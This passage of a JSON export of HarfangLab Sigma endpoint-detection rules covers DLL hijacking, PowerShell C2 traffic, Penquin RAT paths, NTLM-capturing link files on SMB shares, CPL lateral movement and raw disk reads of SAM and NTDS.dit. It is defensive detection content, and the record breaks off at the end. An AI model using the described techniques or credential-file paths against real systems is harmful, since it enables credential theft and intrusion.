+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092834Z",
+  "creation_date": "2026-03-23T11:45:34.092836Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092840Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_powerpnt.yml",
+  "content": "title: DLL Hijacking via POWERPNT.exe\nid: 8e009fca-fb86-4253-b33b-b0f0f1ae7ba3\ndescription: |\n    Detects potential Windows DLL Hijacking via POWERPNT.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'POWERPNT.EXE'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\dataexchange.dll'\n            - '\\msctf.dll'\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\rsaenh.dll'\n            - '\\twinapi.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8e009fca-fb86-4253-b33b-b0f0f1ae7ba3",
+  "rule_name": "DLL Hijacking via POWERPNT.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via POWERPNT.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8e5d7140-3063-49df-b46f-193f1764383c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622677Z",
+  "creation_date": "2026-03-23T11:45:34.622679Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622684Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1071/001/",
+    "https://attack.mitre.org/techniques/T1571/"
+  ],
+  "name": "t1571_powershell_url_uncommon_port.yml",
+  "content": "title: PowerShell HTTP Request via an Uncommon Port\nid: 8e5d7140-3063-49df-b46f-193f1764383c\ndescription: |\n    Detects PowerShell making a POST HTTP request on an uncommon port.\n    Adversaries may use a malicious PowerShell implant that communicates over HTTP to their command and control server.\n    It is recommended to investigate the PowerShell command executed by the process and determine the legitimacy of the contacted URL.\nreferences:\n    - https://attack.mitre.org/techniques/T1071/001/\n    - https://attack.mitre.org/techniques/T1571/\ndate: 2024/11/08\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.t1571\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        ProcessName: 'powershell.exe'\n        RequestUrlHost|contains: '.' # host without dot is probably on local network\n        RequestUrlVerb: 'POST'\n\n    filter_port:\n        RequestUrlPort:\n            - '80'\n            - '443'\n            - '8080'\n            - '8443'\n            - '5985' # winrm http\n            - '5986' # winrm https\n\n    filter_dest_cidr:\n        RequestUrlHost|cidr:\n            - '127.0.0.0/8'     # RFC1122\n            - '192.168.0.0/16'  # RFC1918\n            - '172.16.0.0/12'   # RFC1918\n            - '10.0.0.0/8'      # RFC1918\n            - '169.254.0.0/16'  # RFC3927\n            - '100.64.0.0/10'   # RFC6598\n            - '192.0.0.0/24'    # RFC5736\n            - 'FE80::/10'       # RFC4291\n\n    exclusion_dest_pattern:\n        RequestUrlHost:\n            - 'localhost'\n            - '*.local'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe'\n            - '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n            - '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\CyberwatchService.exe'\n            - '?:\\Program Files\\NSClient++\\nsclient++.exe'\n            - '?:\\Program Files\\NSClient++\\nscp.exe'\n            - '?:\\opt\\sensu\\embedded\\bin\\ruby.exe'\n            - '?:\\Program Files\\Quest\\KACE\\runkbot.exe'\n            - '?:\\Program Files (x86)\\Quest\\KACE\\runkbot.exe'\n            - '?:\\Program Files\\Quest\\KACE\\KInventory.exe'\n            - '?:\\Program Files (x86)\\Quest\\KACE\\KInventory.exe'\n            - '?:\\Program Files (x86)\\ITSPlatform\\agentcore\\platform-agent-core.exe'\n            - '?:\\Program Files\\Observ\\bin\\telegraf.exe'\n            - '?:\\Windows\\CCM\\CcmExec.exe'\n            - '?:\\Windows\\System32\\CompatTelRunner.exe'\n            - '?:\\Program Files (x86)\\RES Software\\Workspace Manager\\pfwsmgr.exe'\n            - '?:\\Program Files\\ESET\\ESET Security\\ekrn.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcpatchscan.exe'\n\n    exclusion_manageengine:\n        RequestUrl|contains: '&agentResourceIdentifier='\n        UserAgent: 'DesktopCentral Agent'\n\n    exclusion_winrm:\n        - UserAgent: 'Microsoft WinRM Client'\n          RequestUrl|contains: '/Powershell?PSVersion='\n          ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - UserAgent: 'Microsoft WinRM Client'\n          RequestUrl|contains: '/Powershell?PSVersion='\n          ProcessGrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_wsus:\n        RequestUrl|endswith:\n            - ':8530/ClientWebService/client.asmx'\n            - ':8530/SimpleAuthWebService/SimpleAuth.asmx'\n            - ':8530/ReportingWebService/ReportingWebService.asmx'\n            - ':8531/ClientWebService/client.asmx'\n            - ':8531/SimpleAuthWebService/SimpleAuth.asmx'\n            - ':8531/ReportingWebService/ReportingWebService.asmx'\n\n    exclusion_exchange:\n        ProcessCommandLine|contains: '?:\\Program Files\\Microsoft\\Exchange Server\\V??\\bin\\RemoteExchange.ps1'\n\n    exclusion_observ:\n        ProcessCommandLine|contains: '?:\\Program Files\\Observ\\bin\\*.ps1'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8e5d7140-3063-49df-b46f-193f1764383c",
+  "rule_name": "PowerShell HTTP Request via an Uncommon Port",
+  "rule_description": "Detects PowerShell making a POST HTTP request on an uncommon port.\nAdversaries may use a malicious PowerShell implant that communicates over HTTP to their command and control server.\nIt is recommended to investigate the PowerShell command executed by the process and determine the legitimacy of the contacted URL.\n",
+  "rule_creation_date": "2024-11-08",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8e636923-4f5f-48f2-870d-b76e0ea0e15c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597086Z",
+  "creation_date": "2026-03-23T11:45:34.597090Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597097Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1059/004/",
+    "https://attack.mitre.org/tactics/TA0002/",
+    "https://attack.mitre.org/groups/G0010/",
+    "https://attack.mitre.org/software/S0587/"
+  ],
+  "name": "t1105_penquin_turla_suspicious_execution.yml",
+  "content": "title: Suspicious Execution Related to Penquin\nid: 8e636923-4f5f-48f2-870d-b76e0ea0e15c\ndescription: |\n    Detects the execution of files with names linked to the malware Penquin.\n    Penquin is a remote access trojan (RAT) used by the Turla attacker group to target Linux systems since at least 2014.\n    The execution of these files are related to the usage of the \"start\" or \"exec\" command by the C&C server on an infected system.\n    This command downloads and executes an arbitrary file provided by the C&C server on the infected host.\n    It is recommended to investigate the parent process performing this action.\nreferences:\n    - https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1059/004/\n    - https://attack.mitre.org/tactics/TA0002/\n    - https://attack.mitre.org/groups/G0010/\n    - https://attack.mitre.org/software/S0587/\ndate: 2023/01/11\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.command_and_control\n    - attack.t1105\n    - attack.g0010\n    - attack.s0587\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.ThreatActor.Turla\n    - classification.Linux.Malware.Penquin\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        - Image:\n            - '/tmp/.xdfg'          # Penquin, Penquin_2.0\n            - '/root/.hsperfdata'   # Penquin_x64\n            - '/tmp/.sync.pid'      # Penquin_x64\n        - CommandLine|contains:\n            - '/tmp/.xdfg'          # Penquin, Penquin_2.0\n            - '/root/.hsperfdata'   # Penquin_x64\n            - '/tmp/.sync.pid'      # Penquin_x64\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8e636923-4f5f-48f2-870d-b76e0ea0e15c",
+  "rule_name": "Suspicious Execution Related to Penquin",
+  "rule_description": "Detects the execution of files with names linked to the malware Penquin.\nPenquin is a remote access trojan (RAT) used by the Turla attacker group to target Linux systems since at least 2014.\nThe execution of these files are related to the usage of the \"start\" or \"exec\" command by the C&C server on an infected system.\nThis command downloads and executes an arbitrary file provided by the C&C server on the infected host.\nIt is recommended to investigate the parent process performing this action.\n",
+  "rule_creation_date": "2023-01-11",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8e86e07b-ba70-4981-ad8f-1b5f178d1b2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618627Z",
+  "creation_date": "2026-03-23T11:45:34.618629Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618633Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mdsecactivebreach/Farmer",
+    "https://github.com/barretgo/ntlm_theft",
+    "https://attack.mitre.org/techniques/T1557/001/",
+    "https://attack.mitre.org/software/S0174/"
+  ],
+  "name": "t1557_001_suspicious_link_file.yml",
+  "content": "title: Potentially Malicious Link File Copied to an SMB Share\nid: 8e86e07b-ba70-4981-ad8f-1b5f178d1b2e\ndescription: |\n    Detects the copy/move of a suspicious link file to an SMB share. These files can contain malicious redirections on their icons or other elements to force authentication.\n    LLMNR Poisoning attacks occur when malicious actors spoof a legitimate authentication to capture the NTLMv2 hash of an authenticating user.\n    Attackers can set up a listener in a machine they control to capture the authentication request made by users browsing to the folders where these files exist, as loading the icon will force an authentication request.\n    To investigate this alert, it is recommended to download the link file to see if it contains any malicious redirections in its fields. Preferably through a non-graphical interface or an isolated environment.\n    LLMNR Poisoning can also be mitigated by disabling it through a group policy or by enabling SMB signing. However, this is known to make SMB requests ~50% slower.\n    Is recommended to analyze both the process responsible for the action and the copied link file to look for malicious content or actions.\nreferences:\n    - https://github.com/mdsecactivebreach/Farmer\n    - https://github.com/barretgo/ntlm_theft\n    - https://attack.mitre.org/techniques/T1557/001/\n    - https://attack.mitre.org/software/S0174/\ndate: 2023/05/25\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1557.001\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith:\n            - '\\xcopy.exe'\n            - '\\robocopy.exe'\n        # Renamed binaries\n        - OriginalFileName:\n            - 'xcopy.exe'\n            - 'robocopy.exe'\n\n    selection_cmdline:\n        # Shell primitive, no image.\n        CommandLine|contains:\n            - ' copy '\n            - ' move '\n            - ' mv '\n\n    selection_smb_share:\n        # It is common to see files starting with symbols, propping them to the top of the share.\n        # This is so the user doesn't have to scroll through to browse them.\n        CommandLine|endswith:\n            - '\\\\\\\\*\\@*.url'\n            - '\\\\\\\\*\\@*.lnk'\n            - '\\\\\\\\*\\@*.ico'\n            - '\\\\\\\\*\\#*.url'\n            - '\\\\\\\\*\\#*.lnk'\n            - '\\\\\\\\*\\#*.ico'\n            - '\\\\\\\\*\\!*.url'\n            - '\\\\\\\\*\\!*.lnk'\n            - '\\\\\\\\*\\!*.ico'\n            - '\\\\\\\\*\\0*.url'\n            - '\\\\\\\\*\\0*.lnk'\n            - '\\\\\\\\*\\0*.ico'\n\n    condition: (selection_bin or selection_cmdline) and selection_smb_share\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8e86e07b-ba70-4981-ad8f-1b5f178d1b2e",
+  "rule_name": "Potentially Malicious Link File Copied to an SMB Share",
+  "rule_description": "Detects the copy/move of a suspicious link file to an SMB share. These files can contain malicious redirections on their icons or other elements to force authentication.\nLLMNR Poisoning attacks occur when malicious actors spoof a legitimate authentication to capture the NTLMv2 hash of an authenticating user.\nAttackers can set up a listener in a machine they control to capture the authentication request made by users browsing to the folders where these files exist, as loading the icon will force an authentication request.\nTo investigate this alert, it is recommended to download the link file to see if it contains any malicious redirections in its fields. Preferably through a non-graphical interface or an isolated environment.\nLLMNR Poisoning can also be mitigated by disabling it through a group policy or by enabling SMB signing. However, this is known to make SMB requests ~50% slower.\nIs recommended to analyze both the process responsible for the action and the copied link file to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-05-25",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1557.001",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8e9c7e02-4778-4c05-9023-5515bbbb98a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626451Z",
+  "creation_date": "2026-03-23T11:45:34.626452Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626457Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/",
+    "https://github.com/klsecservices/CPLDCOMTrigger",
+    "https://attack.mitre.org/techniques/T1021/003/"
+  ],
+  "name": "t1021_003_cpl_lateral_movement_com.yml",
+  "content": "title: Control Panel Lateral Movement via COM\nid: 8e9c7e02-4778-4c05-9023-5515bbbb98a8\ndescription: |\n    Detects a control panel entry being installed remotely in the Windows registry.\n    Threat actors can remotely drop a malicious DLL, register it as a new control panel item, and then trigger its execution through the COpenControlPanel COM interface.\n    It is recommended to audit the newly added CPL file created in \"C:\\Windows\\System32\" and investigate the source IP of the remote session for signs of malicious activity.\nreferences:\n    - https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/\n    - https://github.com/klsecservices/CPLDCOMTrigger\n    - https://attack.mitre.org/techniques/T1021/003/\ndate: 2025/12/22\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.003\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_registry_cpl:\n        EventType: CreateKey\n        TargetObject|startswith:\n            - 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls'\n            - 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls'\n\n    selection_remote:\n        - SessionLogonType: 3\n        - ProcessSessionLogonType: 3\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8e9c7e02-4778-4c05-9023-5515bbbb98a8",
+  "rule_name": "Control Panel Lateral Movement via COM",
+  "rule_description": "Detects a control panel entry being installed remotely in the Windows registry.\nThreat actors can remotely drop a malicious DLL, register it as a new control panel item, and then trigger its execution through the COpenControlPanel COM interface.\nIt is recommended to audit the newly added CPL file created in \"C:\\Windows\\System32\" and investigate the source IP of the remote session for signs of malicious activity.\n",
+  "rule_creation_date": "2025-12-22",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ea00c00-8d43-40e6-823a-15ebf355f8da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625954Z",
+  "creation_date": "2026-03-23T11:45:34.625963Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625967Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m/AxiomSecrets",
+    "https://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "t1006_raw_device_access_sensitive_files.yml",
+  "content": "title: Raw Device Access to Sensitive Files\nid: 8ea00c00-8d43-40e6-823a-15ebf355f8da\ndescription: |\n    Detects a raw device access to sensitive files.\n    Accessing raw devices is suspicious as it allows direct interaction with disk data, bypassing the operating system’s security controls and file permissions.\n    This kind of access can expose sensitive system files like NTDS.dit or SAM, which contain user credentials and authentication data.\n    If abused, it can lead to privilege escalation, credential theft, or complete system compromise.\n    It is recommended to investigate the context of this action and any other alerts to determine its legitimacy.\nreferences:\n    - https://github.com/mallo-m/AxiomSecrets\n    - https://attack.mitre.org/techniques/T1006/\ndate: 2025/11/21\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1006\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.t1003.003\n    - classification.Windows.Source.RawDeviceAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: raw_device_access\ndetection:\n    selection:\n        ProcessCommandLine|contains:\n            - '?:\\Windows\\System32\\config\\SAM'\n            - '?:\\Windows\\System32\\config\\SYSTEM'\n            - '?:\\Windows\\System32\\config\\SECURITY'\n            - '?:\\Windows\\NTDS\\ntds.dit'\n\n    exclusion_systemprofile:\n        ProcessCommandLine|contains:\n            - '?:\\WINDOWS\\System32\\config\\systemprofile'\n            - '?:\\Windows\\System32\\config\\SYSTEM~1\\'\n\n    exclusion_siemens:\n        ProcessCommandLine|contains:\n            - '?:\\Windows\\system32\\reg.exe LOAD HKLM\\TempVMHost ?:\\Windows\\system32\\config\\System'\n            - '?:\\Windows\\system32\\reg.exe LOAD HKLM\\TempChainedVMHost ?:\\Windows\\system32\\config\\System'\n        ProcessCurrentDirectory|startswith: '?:\\sysmgmt\\sd_store\\'\n\n    exclusion_swsetup:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\cacls.exe ?:\\WINDOWS\\system32\\config\\system'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ea00c00-8d43-40e6-823a-15ebf355f8da",
+  "rule_name": "Raw Device Access to Sensitive Files",
+  "rule_description": "Detects a raw device access to sensitive files.\nAccessing raw devices is suspicious as it allows direct interaction with disk data, bypassing the operating system’s security controls and file permissions.\nThis kind of access can expose sensitive system files like NTDS.dit or SAM, which contain user credentials and authentication data.\nIf abused, it can lead to privilege escalation, credential theft, or complete system compromise.\nIt is recommended to investigate the context of this action and any other alerts to determine its legitimacy.\n",
+  "rule_creation_date": "2025-11-21",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1003.003",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ea99f0f-186c-4987-97e7-36e73dd41eea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079496Z",
+  "creation_date": "2026-03-23T11:45:34.079498Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079503Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/",
+    "https://attack.mitre.org/techniques/T1505/003/"
